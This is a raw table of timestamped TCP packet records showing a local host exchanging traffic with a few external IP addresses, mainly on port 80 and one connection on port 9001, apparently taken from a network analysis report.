Jan 7, 2024 05:30:13.280232906 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.280246973 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.280277967 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.280375957 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.280421972 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.280443907 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.280473948 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.280533075 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.320039034 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.320111990 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.320198059 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.320197105 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.320480108 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.320565939 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.320595980 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.326421022 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.326443911 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.326488972 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.326582909 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.326625109 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.326669931 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.326694012 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.326847076 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.328298092 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.328412056 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.328457117 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.328617096 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.328696966 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.328741074 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.328746080 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.369637012 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.369678974 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.369720936 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.369842052 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.369904041 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.369913101 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.370062113 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.370098114 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.412959099 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.412976980 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.413048983 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.413048029 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.413104057 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.413146019 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.505434990 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.505480051 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.505528927 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.505543947 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.505650043 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.505776882 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.505776882 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.546230078 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.546278000 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.546281099 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.546293974 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.546333075 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.546343088 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.546374083 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.546407938 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.546446085 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.546459913 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.546510935 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.546605110 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.546700954 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.546736002 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.546736002 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.546771049 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.546818972 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.546854973 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.546863079 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.546900034 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.546920061 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.547529936 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.547543049 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.547564983 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.547575951 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.547600985 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.547602892 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.547636032 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.547688961 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.547694921 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.547738075 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.587358952 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.587373972 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.587408066 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.587421894 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.587451935 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.587466002 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.587511063 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.592530012 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.592550039 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.592562914 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.592576981 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.592605114 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.592667103 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.606774092 CET	49776	9001	192.168.2.4	178.17.170.13
Jan 7, 2024 05:30:13.634016991 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.634032965 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.634059906 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.674536943 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.674552917 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.674576044 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.675645113 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.675679922 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.675718069 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.675793886 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.675828934 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.675870895 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.675942898 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.675972939 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.676011086 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.683074951 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.683140993 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.683191061 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.683259964 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.683290005 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.683388948 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.727067947 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.727082014 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.727093935 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.727103949 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.727128029 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.728341103 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.728384018 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.728395939 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.728435993 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.764758110 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.764807940 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.764825106 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.764946938 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.764982939 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.765026093 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.765182018 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.765228033 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.765523911 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.770035028 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.770076036 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.770184994 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.770307064 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.770344973 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.770349979 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.808885098 CET	9001	49776	178.17.170.13	192.168.2.4
Jan 7, 2024 05:30:13.811764002 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.811800003 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.811845064 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.811927080 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.812648058 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.812763929 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.812866926 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.812906027 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.812941074 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.852359056 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.852397919 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.852468014 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.852545023 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.852598906 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.852632046 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.852683067 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.852731943 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.852761030 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.852874041 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.852943897 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.852979898 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.857594013 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.857682943 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.857707024 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.857721090 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.857742071 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.898619890 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.898662090 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.898718119 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.898871899 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.899127007 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.899173975 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.899215937 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.946176052 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.946229935 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.946285963 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.946333885 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.946378946 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.950062990 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.950175047 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.950222969 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.950229883 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.950289965 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.950324059 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.950329065 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.950629950 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.950673103 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.950696945 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.950748920 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.950790882 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.990441084 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.990561008 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.990608931 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.990619898 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.036530018 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.036592007 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.036703110 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.036933899 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.037098885 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.037261009 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.037333012 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.037379980 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.037425995 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.037503004 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.037555933 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.037597895 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.037658930 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.037704945 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.037704945 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.039685965 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.039736032 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.039781094 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.039819956 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.039870024 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.077508926 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.077584982 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.077644110 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.077653885 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.077879906 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.077929020 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.078035116 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.078080893 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.078151941 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.122997046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:14.208237886 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.208333969 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.208420992 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.208441973 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.208488941 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.208534956 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.208568096 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.208996058 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.209042072 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.209193945 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.209388971 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.209661961 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.209717989 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.209733963 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.209830999 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.209850073 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.209911108 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.210042000 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.210058928 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.210202932 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.210299969 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.210355043 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.210381985 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.210421085 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.210431099 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.210519075 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.210629940 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.210691929 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.210745096 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.210764885 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.254954100 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.255026102 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.255038977 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.255135059 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.255182981 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.255238056 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.255332947 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.255727053 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.294573069 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.294650078 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.294718981 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.294800043 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.294802904 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.294816971 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.294868946 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.309895039 CET	49776	9001	192.168.2.4	178.17.170.13
Jan 7, 2024 05:30:14.317838907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:30:14.317924976 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:14.340908051 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.340992928 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.341042042 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.341135025 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.341233969 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.341276884 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.341331005 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.341331005 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.341414928 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.341460943 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.341504097 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.341530085 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.384586096 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.384644985 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.384777069 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.384851933 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.384967089 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.384984016 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.385036945 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.387845993 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.430672884 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.430754900 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.430838108 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.430883884 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.430932045 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.430946112 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.430979013 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.471880913 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.471936941 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.471985102 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.472088099 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.472661018 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.472712994 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.472735882 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.472749949 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.472763062 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.472805023 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.473045111 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.511662960 CET	9001	49776	178.17.170.13	192.168.2.4
Jan 7, 2024 05:30:14.516419888 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.516652107 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.516716957 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.517220974 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.517265081 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.517445087 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.517466068 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.517472982 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.517508030 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.517868996 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.517916918 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.517929077 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.518235922 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.558248043 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.558312893 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.558315039 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.558406115 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.558451891 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.558517933 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.558608055 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.558727026 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.599932909 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.600064993 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.600094080 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.600128889 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:14.604264021 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:14.604341030 CET	49775	80	192.168.2.4	104.21.26.173
